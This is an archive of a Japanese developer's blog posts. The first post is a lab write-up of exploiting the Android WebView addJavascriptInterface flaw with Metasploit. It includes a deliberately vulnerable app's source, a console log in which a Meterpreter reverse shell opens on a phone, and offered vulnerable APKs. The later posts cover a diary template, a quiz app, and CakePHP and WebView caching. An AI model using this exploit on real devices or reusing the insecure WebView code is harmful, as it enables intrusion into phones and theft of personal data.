投稿者「admin」のアーカイブ

実験してみました!Android 4.2.x以下のAndroid端末(スマホやタブレット)は本当にやばいです!

ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。

*1:Attacks on Android WebViews

どういう端末が危ないか

1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可

これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。

さらに、

4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可

などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。

なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます

実験内容

1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成

2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機

3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール

4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。

ターゲット環境

・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続

侵入ホスト環境

・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続

WebViewクラス使用アプリの作成

GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。

変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。

package com.krasavkana.vulnwebview;

import android.os.Bundle;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.view.Menu;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.EditText;

@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity {

private static EditText edittext1;
private static EditText edittext2;
private static EditText edittext3;
private static WebView myWebView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

final Button button = (Button) findViewById(R.id.button1);

// set LHOST 192.168.1.30
edittext1 = (EditText) findViewById(R.id.edittext1);
// set SVRPORT 8080
edittext2 = (EditText) findViewById(R.id.edittext2);
// set URIPATH /aaaaaaaa
edittext3 = (EditText) findViewById(R.id.edittext3);

myWebView = (WebView) findViewById(R.id.webView1);

// not a good idea!
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);

// terrible idea!
myWebView.addJavascriptInterface(new WebAppInterface(this), "Android");

myWebView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return super.shouldOverrideUrlLoading(view, url);
}
});

// woot.
//myWebView.loadUrl(edittext.getText().toString());

button.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Perform action on click
loadUrl();
}
});

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

private void loadUrl() {
String uri="http://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString();
myWebView.loadUrl(uri);
// myWebView.reload();
}

}

実験結果

・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可

以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。

root@kali:~# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]]
+ -- --=[ 1463 exploits - 838 auxiliary - 229 post        ]
+ -- --=[ 428 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30
LPORT => 192.168.1.30
msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa
URIPATH => /aaaaaaaa
msf exploit(webview_addjavascriptinterface) > set VERBOSE true
VERBOSE => true
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.30:4444 
[*] Using URL: http://0.0.0.0:8080/aaaaaaaa
[*] Local IP: http://192.168.1.30:8080/aaaaaaaa
[*] Server started.
msf exploit(webview_addjavascriptinterface) > 
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.1.108    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.1.108    webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried.
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: source=script vs source=script
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android
[*] 192.168.1.108    webview_addjavascriptinterface - 192.168.1.108    webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true
[*] 192.168.1.108    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (45338 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700

msf exploit(webview_addjavascriptinterface) > sessions

Active sessions
===============

  Id  Type                      Information  Connection
  --  ----                      -----------  ----------
  1   meterpreter java/android   @ localhost  192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /data/data/com.krasavkana.vulnwebview
==============================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11768  fil   2015-06-28 15:49:41 -0700  abaeJ.dex
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  cache
40666/rw-rw-rw-   4096   dir   2015-06-28 15:49:37 -0700  databases
40444/r--r--r--   4096   dir   2015-06-28 15:49:14 -0700  lib

meterpreter > pwd
/data/data/com.krasavkana.vulnwebview
meterpreter > cd ..
meterpreter > pwd
/data/data

実験で使ったAPKファイル

掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。

インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk

因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。

*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。

他の脆弱性について

今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。

私たちエンドユーザとしては、

・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、

などができ得る対策ですが、十分に気をつけましょう。

関連する記事・ページ

お世話になったリンク

Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。

iPad手書きアプリ「Noteshelf」向け能率手帳風テンプレートを作ってみました

膨大な数のiPadアプリの中でも、Must-Haveなものの一つとして定評のある手書きアプリ「Noteshelf」。とにかく書き心地がよくて、本当に癖になります。でも、ここ一年程セキュリティーの厳しい職場だったためスマホやタブレットなど録音や録画、撮影が可能なデバイスは休止して所謂システム手帳を使っていました。能率手帳Bindexから出ているDiaryリフィルをひさしぶりに手に入れて使ってみましたがこれが素晴らしい。「Noteshelf」に戻れなくなるんじゃないかと考えた程でした。

そこで「Noteshelf」と「能率手帳」風Diaryの好いとこ取りをしようと、能率手帳風「紙のスタイル」の元データをHTML5+CSSで作成してみました。

標準の「紙のスタイル」の中にも「日程表」が提供されていますが

「日程表」という「紙のスタイル」が元々提供されており、これでも大丈夫そうですが、やはり使い慣れたものがいいですよね。HTML5+CSSで作成してみました。

能率手帳風Diary表示ページはこちら

スリム版はこちら。1ページにメモとスケジュールを収めました

スリム版V2はこちら。複数日のPDF出力のため基準日と日数を指定できるようにしました
スリム版V2の2017年版はこちら。2017年元日から365日分表示します。印刷にPrimoPDF等のPDF出力アプリを使えばNoteshelfで使えます
スリム版V2の当月分はこちら。ただし31日分でるので変更するときはURLのパラメータを変えてください

月間目標版はこちら。2015年と2016年があります

日付部分のみ一週間分表示はこちら

左上にある日付の場所をタッチすると日付選択ができ、右上や左上にある日付に関連する表示を変更してくれます。能率手帳風Diaryの左ページ(メモ用)と右ページ(スケジュールやチェックリスト)を一度に表示します。iPad等で画像を取り込むときは、左右のページをそれぞれ取り込むか、横向き使用を想定して一度に取り込むかします。

iPadでの表示テストは初代iPad-miniを使用しており、新iPad-miniを含み歴代の標準サイズのiPadでは試していません。解像度の関係で表示結果がまちまちになるかも知れません。

iPad手書きアプリ「Noteshelf」への取り込み方法

ステップ1:iPadで上記ページにアクセスしてDiaryページを表示する

ステップ2:電源ボタン+ホームボタンの同時ONでDiaryページの画像を保存する

ステップ3:「Noteshelf」アプリを起動して

ステップ4:「ノートの新規作成」(書棚モードの右隅にある「+」を丸で囲んだアイコンをタッチ)

ステップ5:「ノートをカスタマイズ」の上段を「すべてのスタイル」から「カスタム」に変更

ステップ6:スタイルの新規追加でステップ2で保存した画像を設定する

カスタム「紙のスタイル」にはダイナミック表示の機能がない

カスタムスタイルを作ったのはいいのですが、自分であれこれ使ってみて、カスタム「紙のスタイル」にいちいち登録して使うのは根気が必要だと感じました。もちろん、日付部分を空にして手書きで入れればいいのですが、それだと「日程表」と変わらなくなり、ちょっとつまらない。

ストアで探せばいいのかな?

やはりダイナミックな「紙のスタイル」というのは原理的に難しいのでしょうね。しばらく使ってみていろいろ工夫してみようと思います。

DropboxなどからPDFを読み込む方法もあるようです

Noteshelfではテンプレートを使ってノートを作成する方法のほかに、DropboxなどからPDFを読み込む方法があるようです。これだと複数ページにわたるテンプレートのように使うことができますね。
スリム版をH29年分でまとめたPDFはこちら
スリム版をH29年12月分でまとめたPDFはこちら
スリム版をH29年11月分でまとめたPDFはこちら
スリム版をH29年10月分でまとめたPDFはこちら
スリム版をH29年9月分でまとめたPDFはこちら
スリム版をH29年8月分でまとめたPDFはこちら
スリム版をH29年7月分でまとめたPDFはこちら
スリム版をH29年6月分でまとめたPDFはこちら
スリム版をH29年5月分でまとめたPDFはこちら
スリム版をH29年4月分でまとめたPDFはこちら
スリム版をH29年3月分でまとめたPDFはこちら
スリム版をH29年2月分でまとめたPDFはこちら
スリム版をH29年1月分でまとめたPDFはこちら
スリム版をH28年12月分でまとめたPDFはこちら
スリム版をH28年11月分でまとめたPDFはこちら
スリム版をH28年10月分でまとめたPDFはこちら
スリム版をH28年9月分でまとめたPDFはこちら
スリム版をH28年8月分でまとめたPDFはこちら
スリム版をH28年7月分でまとめたPDFはこちら
スリム版をH28年6月分でまとめたPDFはこちら
スリム版をH28年5月分でまとめたPDFはこちら
スリム版をH28年4月分でまとめたPDFはこちら
スリム版をH28年3月分でまとめたPDFはこちら
スリム版をH28年2月分でまとめたPDFはこちら
スリム版をH28年1月分でまとめたPDFはこちら
スリム版を12月分でまとめたPDFはこちら
スリム版を11月分でまとめたPDFはこちら
スリム版を10月分でまとめたPDFはこちら
スリム版を9月分でまとめたPDFはこちら
スリム版を8月分でまとめたPDFはこちら
スリム版を7月分でまとめたPDFはこちら
スリム版を6月分でまとめたPDFはこちら
スリム版を5月分でまとめたPDFはこちら

関連する記事・ページ

お世話になったリンク

以上です。

流行りのフレームワークで作りました!「暗記の井戸クラウド」をβリリース

Javascript(jQuery)のMVCフレームワークというのか、いわゆるBackbone.jsと、アプリケーションサーバが不要なCakePHPを組み合わせた「暗記の井戸クラウド」をβリリースします。

スマホ版
タブレット版
PC版

※上記URLの最初にある「krapsiup」は、「quizpark」から来ています。お気づきになられた方もいらっしゃるかと思いますが、「park」を並べ替えると「krap」に、「quiz」を鏡面でみる(裏から眺める?)と「siup」になります

暗記の井戸シリーズの中でコード量が圧倒的に少なくなったにも関わらず、結構いろいろ拡張できそうな予感もあり、面白いと感じています。

とりあえずは、本サイトで紹介している「暗記データ例」を、PCでもスマホでも同じデータをいつでもどこでも参照できるようにしました。例えオフラインになっても最後にアクセスしたデータが残ってますので、気合を入れて暗記に集中できます。

画面は3種類あります

BOX画面、LIST画面、QUIZ画面の3種類。他に各種設定や編集画面がありますが、主なものは左記の3つです。

  • [BOX画面]メールボックスのリストような画面で、クイズ(問題)の集まりのリストです。
  • [LIST画面]メールボックスのような画面で、クイズ(問題)の集まりです。
  • [QUIZ画面]メッセージのような画面で、、クイズ(問題)の詳細です。画面の上半分にクイズ(問題)、下半分にアンサー(解答)、がそれぞれ表示されます

タイムトライアル機能を入れました

タイムトライアル機能?を入れてみました。画面の上半分をタッチ(もしくはクリック)すると機能をON/OFFできます。
※タイムトライアルの時間を変更できます。「BOX画面」下の「Settings」から「TimeTrialInterval」の数字を変更します。単位は秒数です(初期値は10)

「QUIZ画面」の前後移動は画面のタッチで

「QUIZ画面」の下半分の左側をタッチするとひとつ前の問題の「QUIZ画面」に移動します。右半分をタッチするとひとつ後の問題の「QUIZ画面」に移動します

※前後への移動でなく任意の問題の「QUIZ画面」に移動したい場合には、一旦LIST画面に戻ってから問題を選択します

関連する記事・ページ

暗記データ例 | 暗記の井戸HTML5
あなた方は神です!?古いCakePHPの導入で先人の知恵を拝借

お世話になったリンク

[CakePHP] JSON出力時にstring型をint型に戻す | XPages、ロータスノーツ・ドミノのモバイル・WEBアプリの開発・相談ならKTrick LLC.
AJAX ? CakePHP Cookbook v1.3 documentation
CakePHPでビューやレイアウトを使わない方法。 | Wataame Frog
Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

以上です。

あなた方は神です!?古いCakePHPの導入で先人の知恵を拝借

現在開発中のシステムではDBアクセスにCakephpを使っています。最新版で開発したものを、レンタルサーバの環境に合わせて調整する必要があり、その際に苦労したことを書いてみたいと思います。個人と組織。そのいづれがその能力を発揮できるのか。システム開発で参考になるネットの情報は個人から発信された情報が殆どだと思います。この記事がその一助になればと思います。

「Cakephp」とは

「Cakephp」とは、小・中規模WEBアプリケーションでは大きなシェアを占めるPHPのフレームワークのひとつです。サーバ(DBへのアクセスが主体)とのアクセスモジュールとしてみると、生PHPで書くのとは格段に違う生産性と読み易さが得られますし、単体でもMVCが構築できる秀逸なオープンソースです。

現在利用している「HostGator」などの格安レンタルサーバでもPHPがデフォルトで導入されています。今ご覧になっている本ブログのCMSであるWordPress自体がまさにPHPで書かれていて、MySQL仕様のDBともPHPでアクセスします。

生のPHPで書くシステムを企業やら行政やら金融やらで使えるようにする場合、コード量は現在の10倍以上になるでしょう。いろいろなケースに想定しないといけないからです。生PHPで簡単に書いたコードは「裸でジャングルに入るようなもの」なんでしょうね。

それに比べるとCakephpなどのフレームワークでは、「裸で」に比べるとかなり改善されるようです。いろいろ例外的な状況への対処が簡単な仕組みにカプセル化されているとのこと。すばらしいですね。これまで一生懸命条件分岐のコードを書いていたのは「何だったんだろう!あの時間を返してくれ!」と思わせるものがあります。

こうしてみるとメリットばかりのように見えますが、そうでもありません。学習のためのコストが掛かったりします。そしてもうひとつ重要なのがレンタルサーバなど自分で自由に環境構築できない場所での扱いです。例えば「HostGator」の場合PHPの版数がちょっと古いんです。古いのは安定につながるのでそれはそれで仕方ありませんが、こうした新しいものを取り入れるときにちょっとした障壁になりえます。

「HostGator」でCakePHP2.xxが使えない

「HostGator」がサポートするPHPの現在の版数は5.2.17です。CakePHP2.xxのサポート版数より低いです。フレームワークによってはベースとなるシステムの版数が低くても使えるものが多いんですけどね。CakePHPは違いました。受け付けてくれません

で、結局開発につかったCakePHP2.xxではなくCakePHP1.xxを導入せざるを得なくなりました。それでもJavaサーブレットやStrutsに比べるとかなりましです。Tomcat6などのアプリケーションサーバ環境自体を用意する必要がないからです。

格安レンタルサーバでアプリケーションサーバ環境をデフォルトで用意してくれるところはあるのでしょうかね。

新しい版から古い版へのフレームワークのマイグレーションは大変?

古い版のものには、リリースされて時間が経つ分皆が使っているので、情報が揃っています。ただ、新しい版のものでできたことを古い版でやろうとするとちょっと敷居が高いです。

もちろん、いきなりレンタルサーバにUPLOADしてコードをいじることはありません。まずはローカルな環境で古いCakePHP1.xxを入れて、それから本番環境にマイグレーションします。

ただし、ローカルに構築したそうした環境で動作するからといってレンタルサーバにそれをそのままコピペしても同じように動くとは限りません。逆に「まったく同じに動くことはないのだ」と思ったほうが幸せになれます

日本語のシステムなら「database.php」の「utf8」設定を有効に

これも「まったく同じに動くことはないのだ」のひとつですが、「database.php」の「utf8」設定を、ローカルでは外して動作していました。このときの「動作していました」の意味はキチンと日本語が見れましたの意味です。レンタルサーバでは日本語がみな「????????」と表記されるのです。まず、DBの中身をいろいろ調べ、次にローカルとの間でコードの違いを調べました。これに数時間も費やして、結局「utf8」を陽に設定すれば即解決しました。

JSON用のserialize機能がCakePHP1.xxにはない!

開発中のシステムは、CakePHPが動くサーバとAjaxで通信するAjaxアプリケーションから構成されます。こうした場合情報のやりとりにはJSONを使うのが定石のようですので、CakePHP2.xxでもそうした実装をしていました。たった2行書くだけでJSONをserialize出力できる便利な機能があるんですね。

ところがこの機能がCakePHP1.xxにはありません。当然ローカル環境でも遭遇しました。そこで、「お世話になったリンク」にもあるように、(CakePHP2.xxでは必要なかった)Viewの定義と、デフォルトLayoutsをバイパスしてあげることの2点で問題が解決しました。

Controller内でArray_map関数を使うとエラーになってしまう

次に、CakePHPのController定義で、レスポンスオブジェクトにある余計な情報を削除するため、Array_map関数をつかったところ、レンタルサーバでエラーになりました。ローカル環境では全く問題なかったのに。不思議です。

function index(){

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map(funtion($e){
        return $e['Share'];
    },$shares);
    $this->set('datas', $shares);
}

結局、次のように無名関数の定義を止めたら通りました。

function index(){

    function res($e){return $e['Share'];}// only Hostgator does this way!!!

    $this->layout = "";
    $shares = $this->Share->find('all');
    $shares = array_map("res",$shares);
    $this->set('datas', $shares);
}

極めつけはこれ。こんな情報どこにもなかった。あなたは神です

以上はCakePHPがDBにアクセスして一覧を出力するところに関連する部分になります。

ここからは通信方向が逆でAjaxアプリからCakePHPへのXmlHttpRequstのPUTリクエストに関するものです。POSTでも同じ方向のやりとりが発生します。URL情報と並行してテキストやストリームなどの情報が渡されます。

CakePHPのController定義内でこの情報にアクセスするには「this.requst」というオブジェクトを使います。でも下記リンクにもあるようにこれがあろうことか「null(空の意味)」になってしまいお手上げ状態です。いろいろ調べても本来渡されてくるべき情報がないので途方にくれていたところ、本当に凄い裏技を発見、というか、凄い裏技を発見した方がいました。こんな発見必要ないひとには本当に何でもないことですが、開発している最中にこれに出会ったときには「神がいらした」と感動しました。

Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

$this->data = json_decode(file_get_contents('php://input'));

こんなコードどうやって調べたんだろう!

結構複雑でわかりにくい話ですみません

関連する記事・ページ

お世話になったリンク

[CakePHP] JSON出力時にstring型をint型に戻す | XPages、ロータスノーツ・ドミノのモバイル・WEBアプリの開発・相談ならKTrick LLC.
AJAX ? CakePHP Cookbook v1.3 documentation
CakePHPでビューやレイアウトを使わない方法。 | Wataame Frog
Cakephp 1.3系でBackbone.jsの生成したjsonを受け取る。 – Qiita [キータ]

以上です。

不可解過ぎます!WebViewのHTML5アプリケーションキャッシュ

AndroidアプリからWEBアプリを操作するハイブリッドアプリを開発リリースしています。その際に用いたWebViewという機能。PC版Javaにも同様のものがあり非常に便利そうに見えるのですが、WebViewが提供するHTML5アプリケーションキャッシュに不可解なことが多くて困っています。

「アプリケーションキャッシュ」とは

「アプリケーションキャッシュ」とは、HTML5で導入されたもので、ネットワークへの接続があってもなくても、scriptやら画像データやらHTMLやら、本体のHTMLから参照される全ての外部ファイルを、そのアプリ専用のキャッシュから読み込んでくれるというもの。極論すればネイティブのアプリケーションのように動作しているように見えるというもの(多少遅いけど)。

この機能は非常に便利で、一度キャッシュされると、ちょっと厳格すぎるように見える手続きを陽に踏まない限り、テコでもキャッシュを更新してくれない位強力なものです。SafariやChromeブラウザでの経験しかありませんが、普通のいわゆるキャッシュとは全然違うようです。

キャッシュとアプリケーションキャッシュの違い

ネットを探してみると、膨大な情報がありますが、なんとなく「キャッシュ」と「アプリケーションキャッシュ」を同じものとして扱っている記事が多い感じです。名前が似ているので当たり前なのですが、それでは何故わざわざ「アプリケーション」キャッシュという言い方をするのでしょうね。

同じ、もしくは包含関係にある、それとも、全く排他的なものなのか、それも不明です。実際どちらにも当てはまりそうな場合がありました。

ここでは、「アプリケーションキャッシュ」でネイティブのアプリケーションのように動作させていながら、必要なときにはキャッシュを消去したり更新したりするにはどうすればいいか、ということを考えます。「更新が効く」/「更新が効かない」は、WebViewで呼ばれるURLにあるscriptファイルの文字列を一部変えてみて、表示に変化があれば「更新が効く」、なければ「更新が効かない」としています。もちろんscriptファイルはmanifestファイル内のCACHEフィールドに記述されておりmanifestファイルの文字列を一部マニュアルで更新しています。

WebView#clearCacheが効かない

ネットによると、キャッシュ消去の標準的なやり方は、WebView#clearCacheを使う方法のようです。onDestroy()中で、WebView#clearCache(true)を実行して「loadStorage」と「アプリケーションキャッシュ」で検証してみました。使い方や呼び出す順序がまずいのか、まったく効きません。ネットでは効くのが当然のような書き方が殆どなので恐らくなにか間違っているのでしょうね。これについては簡単なプログラムで確かめてみたいと思います。

省略値を陽に宣言しないと動作しないのは何故?

Enabling HTML5 AppCache in Android Webview programatically.のページには、WebView#AppCacheEnabled()はよいとして、WebView#AppCachePath()、WebView#AppCacheMaxSIze()にも省略値を陽に指定しないと動作しなかったとあります。実際Path指定がないとエラーになりました。

こういうことがひとつでもあると何を信じてよいか分からなくなりますね。ただ、どこかのページには「Pathを陽に示せ」と書いてあったようにも記憶しています。ちなみにAppCacheMaxSizeに1024*1024*5の代わりに「0」としても「アプリケーションキャッシュ」は動作していました。「0」ではなくて「1」とか思いっきり小さい値がよかったのかも知れませんね、この手の検証では。

「アプリケーションキャッシュ」ではなく、「キャッシュ」だけ使いたい場合にはこのような指定は必要ないのか、これも不明です。

Android端末のアプリケーション設定での謎!?

Android端末の「設定」に「アプリケーション」という設定項目があります。アプリを選び「本体データ削除」「キャッシュ消去」のうち、「キャッシュ消去」を有効にしてみました。すると、そこに出ているキャッシュデータ量を示す数字は0になりますが、依然として「アプリケーションキャッシュ」が動作していました。「キャッシュ消去」前の容量は、ちょうど「アプリケーションキャッシュ」のためにMaxサイズとして指定したものと一致しており、直感的に「キャッシュ」=「アプリケーションキャッシュ」もしくは包含されるように考えてしまいました。

「本体データ削除」だと「アプリケーションキャッシュ」が更新できますね。何故でしょう。ただ本体データ削除のデータ量は70kB程度で自分のアプリは画像を含め150kB程度ありますので、「アプリケーションキャッシュ」が「本体データ」に含まれるというのも数字が合いません。「キャッシュ消去」にでている量は5MB強とリーズナブルです。

やっとみつけたWorkAround(ワークアラウンド、回避策)

「本体データ削除」だと何故か「アプリケーションキャッシュ」が更新できますが、設定が多いと結構つらいです。なので、なにかいい方法はないかと探していたら、すぐ近くにありました。「強制停止」+「キャッシュ消去」です。理由は分かりませんが、設定もそのままでキャッシュ(アプリケーションキャッシュ?)やloadStorageもクリアできるようです。

PHPとは共存できないんでしょうか?

もうひとつ不思議なのが、PHPとの共存です。ご存知かも知れませんが、PHPコードは大抵サーバ側で処理するものですから、manifestファイルにindex.phpとあってもクライアントだけの環境ではうまく動作するはずがありませんが、index.phpそのものではなくindex.phpの処理結果をキャッシュしているのか、それなりに処理できています。いつも厳格な「アプリケーションキャッシュ」の風貌にそぐわない感じがしています。

WebViewのHTML5アプリケーションキャッシュ、不可解過ぎます。

といっても、恐らく私の勉強が足らないだけなのでしょうね。

結構複雑でわかりにくい話ですみません。

関連する記事・ページ

無料Androidアプリ「10秒で10年日記 逆さ日記帳」をGoogle Playにてリリースしました
「10秒で10年日記 逆さ日記帳」の設定に「全てのカレンダ」項目を追加しました
“Just10SecGet10yDiary R10Diary” has another feature of “All Calendars”
自作無料WEBアプリ「10秒で10年日記 逆さ日記帳」に検索機能を追加しました
「10秒で10年日記 逆さ日記帳」というWEBアプリをリリースしました

お世話になったリンク

Enabling HTML5 AppCache in Android Webview programatically.
caching – Cache dynamic page using html5 cache manifest using Android webchromeclient – Stack Overflow

以上です。